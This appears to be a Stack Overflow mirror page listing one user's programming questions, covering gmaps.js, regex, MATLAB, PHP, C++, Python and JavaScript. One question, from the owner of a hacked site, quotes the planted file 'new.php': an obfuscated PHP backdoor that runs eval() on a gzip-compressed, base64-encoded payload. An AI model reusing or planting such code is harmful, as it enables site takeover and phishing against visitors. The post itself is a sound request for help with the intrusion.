小编Jef*_*eff的帖子

Gmaps.js从数组中添加/删除标记

当用户点击复选框时,我想显示或隐藏一些标记.我正在使用Gmaps.js,负责这个的代码是:

// Check if the user wants to display points of interest
$("#poi").click(function() {
    var poi_markers = [];

    if ($("#poi").is(':checked')) {
        // Get points of interest and display them on the map
        $.ajax({
            type: "POST",
            url: "/ajax/poi.php",
            dataType: "JSON",
            cache: false,
            success: function(data) {
                $.each(data, function(key, value) {
                    poi_marker = {
                        marker: {
                            lat: value.latitude,
                            lng: value.longitude,
                            icon: '/images/marker-sight.png',
                            infoWindow: {
                                content: value.name
                            }
                        }
                    }
                    poi_markers.push(poi_marker);
                });

                console.log(poi_markers);

                map.addMarkers(poi_markers);
            }
        });
    } else {
        map.removeMarkers(poi_markers);
    }
}); …
Run Code Online (Sandbox Code Playgroud)

javascript jquery google-maps gmaps.js

4
推荐指数
1
解决办法
1万
查看次数

gmaps.js mouseover open infowindow

我使用gmaps.js显示带有一些标记的简单地图,但我想用鼠标悬停显示infowindows,我找不到怎么做.我的代码:

    map = new GMaps({
    scrollwheel: false,
    div: '#gmap',
    lat: -12,
    lng: -77,
});

map.addMarker({
    lat: -12,
    lng: -77,
    title: 'test',
    infoWindow:{
        content: '<p>HTML Content</p>'
    },
    mouseover: function(e){
        this['infowindow'].open(map, this); 
    }
});
Run Code Online (Sandbox Code Playgroud)

javascript jquery google-maps gmaps.js

4
推荐指数
1
解决办法
1870
查看次数

我的PHP代码中有哪些漏洞?

最近我的一个网站被黑了.虽然实际网站保持不变,但他们能够以某种方式使用该域创建一个重定向到ebay网络钓鱼诈骗的链接.

由于显而易见的原因,我把网站关闭了,所以我无法链接到代码.我想知道如何找出他们使用的漏洞,以便将来可以避免这个问题.该页面使用PHP,还有一些javascript(用于表单验证).

是否有免费服务会扫描我的代码中的漏洞?我还有什么其他选择?

谢谢,杰夫

编辑:我托管了[链接删除]的文件

有几点需要注意:"funcs"文件夹中有几个文件,其中大部分都没有使用过,但为了以防万一,我把它们留在了那里."data"文件夹中的"new.php"(下面的内容)显然是个问题.最大的问题是,有人如何设法将"new.php"上传到服务器?还收到了我收到的电子邮件的RTF,其中包含有关骗局的信息.

(注意:此代码可能对您的计算机"危险")

    <?php
 $prv=strrev('edoced_46esab');
 $vrp=strrev('etalfnizg');
 eval($vrp($prv("rVPRbpswFNW0P9jbNE1ChojQSDD7cm0syvoB5A/GxhiBJVoKxJC0pFr667v0pe1L2k17snyvz/G559jOLxCVxjGCfEBYc1noQfE8VL0SpUYTwQah43LQueKbh3IeQYlguBx1p/gQqkqJFUKiPsWO0Vgh9LoN1R4EoUsuq7xU3Cgxgug0DhHQiVVOjVavFK9ClbDjKH2ZLgOrbpoA0RbNj/dv3r77KF3ED237vVlkrH9Wu7srzM1uv7t3h942N5mTsYM7O52s0y5jsz3thntz6gvCPiWcEVubLpO0tme+VxdHGdq3xe90WU+0wg+hQREGEi9c9G18gprOBPPZBWTMfixP1YwFdlMcNw9UVInT5XjLYqcHQcOSTxvFGyV+5q3GPcKgOzKHHFUi+Te/YmerBK0Nua/XectlnU+JRDBq7OjWKRJOEE0tSqaKIOkHs62a+StEebFDgR4UL7jc5l0Ea9JBXNiSDD3F5bpx3Zq5syaIpudx0FiAuI7gwGVPCpW4TugtnGlf/v0EZ/kWC+8F0ZafWOXazFuzeo0JX87d9tWzvlnOf/s4Xlwdiu2cXX1m/gtT+OzyinnxHw==")));
?>
Run Code Online (Sandbox Code Playgroud)

php security

3
推荐指数
1
解决办法
3442
查看次数

拆分一个字符串,其中大写字母在stringr中跟随小写字母

我有一个看起来像这样的字符串向量,我想将它拆分:

str <- c("Fruit LoopsJalapeno Sandwich", "Red Bagel", "Basil LeafBarbeque SauceFried Beef")

str_split(str, '[a-z][A-Z]', n = 3)

[[1]]
[1] "Fruit Loop"       "alapeno Sandwich"

[[2]]
[1] "Red Bagel"

[[3]]
[1] "Basil Lea"    "arbeque Sauc" "ried Beef"
Run Code Online (Sandbox Code Playgroud)

但我需要将这些字母保留在最后和单词的开头.

regex r stringr

3
推荐指数
1
解决办法
124
查看次数

快速设置稀疏矩阵的多个值

我在MATLAB中有一个稀疏的5018x5018矩阵,它有大约100k的值设置为1(即大约99.6%为空).

我试图将这些零中的大约5%翻转为1(即大约1.25m条目).我想要翻转的矩阵中有x和y索引.

这是我做的:

sizeMat=size(network);
idxToReplace=sub2ind(sizeMat,x_idx, y_idx);
network(idxToReplace) = 1;
Run Code Online (Sandbox Code Playgroud)

这非常慢,尤其是最后一行.有没有办法让这个操作运行得更快,最好不使用mex文件?

matlab matrix sparse-matrix

3
推荐指数
1
解决办法
106
查看次数

PHP file_get_contents 在 Google 搜索上?

我正在尝试使用 PHP 返回 Google 搜索结果的 HTML。

例如

<?php
$file = file_get_contents('http://www.example.com',false);
echo $file;
?>
Run Code Online (Sandbox Code Playgroud)

将返回 example.com 的 HTML 内容。问题是,当我尝试在 Google 搜索 URL(例如http://www.google.com/#sclient=psy&hl=en&q=cats )上执行此操作时,它会从 Google 主页返回 HTML,而不是搜索“猫”的搜索结果。

做到这一点最简单的方法是什么?

php file-get-contents

2
推荐指数
1
解决办法
5109
查看次数

重用文件指针会导致内存泄漏吗?

自从我接触C ++已经有好几年了,所以请忍受...

我的程序中发生内存泄漏,这会导致运行时错误。这会导致错误吗?

我有一个全局变量 FILE *fp;

在回调函数中,我有:

fp = fopen(filen,"w");
// do some writing
fclose(fp);
Run Code Online (Sandbox Code Playgroud)

使用相同的指针(fp),此过程重复多次。使用同一文件指针是否有问题?fclose()会自动为我释放内存,还是我需要手动删除它?如果我编写大量文本,是否存在任何可能导致运行时错误的限制?

谢谢!

c++ file-io fopen memory-leaks fclose

2
推荐指数
1
解决办法
3543
查看次数

Gmaps.js距离路线

我在我正在建设的一个小项目中使用Gmaps.js api.

基本上复制谷歌地图功能我想要获得从一个地址到另一个地址的路线和距离(可以只是输入/表格字段).我注意到这个演示,但它需要点击地图,也不显示总距离或行车时间?

有关从表单解析2个地址的最佳方法的任何意见,然后使用gmaps.js api计算路由和驱动时间?

javascript maps jquery google-maps gmaps.js

2
推荐指数
1
解决办法
9739
查看次数

Python数学参数中的逗号

我偶然注意到Python的原始数学运算符在两个数字参数中都支持逗号.返回一个元组.它在做什么以及为什么支持这种语法?

这里有一些例子:

>>> 2,10,2 / 2
(2, 10, 1)

>>> 2,10,2 * 2
(2, 10, 4)

>>> 2,10,2 % 2,3
(2, 10, 0, 3)
Run Code Online (Sandbox Code Playgroud)

python

2
推荐指数
1
解决办法
170
查看次数

街道地址php的正则表达式

我正在尝试为街道地址编写正则表达式.示例:124 Street
我不确定该怎么做.到目前为止,我有一些看起来像这样的东西 ^[0-9][a-zA-Z]$.
但这不起作用.任何帮助将不胜感激.
谢谢!

php regex expression

1
推荐指数
1
解决办法
6964
查看次数

关于制作网络应用程序的初学者Python问题

我是Python的新手 - 从未在今天之前使用它.我感兴趣的是为Web开发Python应用程序.我想检查一下我的Web服务器是否支持WSGI或以某种方式运行python应用程序.

假设我有一个打印"Hello world!"的.py文件.如何测试我的服务器是否支持处理此文件?

仅供参考,这是一台Mac OS X服务器10.5.所以我知道安装了Python(它默认安装在Mac OS X上),但我不知道它是否设置为处理服务器端的.py文件并返回结果.

顺便说一句,我来自PHP背景,所以这对我来说有点陌生.我看过python docs re:wgsi,cgi等等,但由于我还没有做任何具体的事情,所以它并没有多大意义.

python wsgi

0
推荐指数
1
解决办法
2526
查看次数

源代码中的JavaScript代码不反映实际执行的代码

我的javascript代码看起来像它应该的那样工作.但是,当我在Chrome中查看"来源"时,它不同意实际执行的javascript.

这是我的代码:

<?php
    $_SESSION['new'] = "blue";
    if (!isset($_SESSION['old'])) { $_SESSION['old'] = "blue"; }
        echo '<script type="text/javascript">
            $(document).ready(function() {
                changeCol("'.$_SESSION["old"].'","'.$_SESSION["new"].'");
            });
          </script>';
    $_SESSION['old'] = "blue";
?>    
Run Code Online (Sandbox Code Playgroud)

$_SESSION['old']="green"来自上一页.代码应该调用changeCol("green","blue"),然后设置$_SESSION['old']="blue".

事实上,这两件事都发生了,所以我的代码就像它的设计一样工作,如果我查看源代码,它会说changeCol("blue","blue").这很奇怪,因为如果在changeCol()中我将传递的变量写入console.log,我得到green, blue.

所以如果它在调用changeCol(green,blue)为什么它changeCol(blue,blue)在我查看源代码时会说?

javascript php jquery session-variables

-1
推荐指数
1
解决办法
198
查看次数

KhanAcademy API

我想让我的学生在khanacademy.org上加我为他们的教练.

问:我可以从Khan Academy的API获得哪些数据?我可以获取他们观看过的视频或徽章吗?

coldfusion khan-academy

-3
推荐指数
1
解决办法
661
查看次数